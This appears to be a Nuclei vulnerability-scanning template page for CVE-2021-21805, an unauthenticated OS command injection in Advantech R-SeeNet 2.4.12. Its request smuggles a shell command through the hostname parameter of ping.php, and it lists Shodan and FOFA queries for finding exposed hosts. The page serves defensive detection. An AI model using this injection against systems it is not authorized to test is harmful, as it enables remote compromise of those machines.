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Advantech R-SeeNet 2.4.12 - OS Command Injection

ID: CVE-2021-21805

Severity: critical

Author: arafatansari

Tags: cve2021,cve,rce,r-seenet,advantech

Advantech R-SeeNet 2.4.12 is susceptible to remote OS command execution via the ping.php script functionality. An attacker, via a specially crafted HTTP request, can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

id: CVE-2021-21805
info:
name: Advantech R-SeeNet 2.4.12 - OS Command Injection
author: arafatansari
severity: critical
description: |
Advantech R-SeeNet 2.4.12 is susceptible to remote OS command execution via the ping.php script functionality. An attacker, via a specially crafted HTTP request, can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
impact: |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
remediation: |
Update to the latest version of Advantech R-SeeNet to mitigate this vulnerability.
reference:
- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1274
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21805
- https://nvd.nist.gov/vuln/detail/CVE-2021-21805
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-21805
cwe-id: CWE-78
epss-score: 0.97374
epss-percentile: 0.99895
cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: advantech
product: r-seenet
shodan-query:
- http.html:"R-SeeNet"
- http.html:"r-seenet"
fofa-query: body="r-seenet"
tags: cve2021,cve,rce,r-seenet,advantech
http:
- method: GET
path:
- "{{BaseURL}}/php/ping.php?hostname=|dir"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<title>Ping |dir</title>"
- "bottom.php"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 490a004630440220579d2b94269c96215ca75fd23c4b28573a68170d46f6a0c48c82b706ba6a8fd50220048b4b9e3fbaa1e65d1b6cda12d6c714304b252558a1132ff201857dfb8e6512:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

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$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-21805.yaml"

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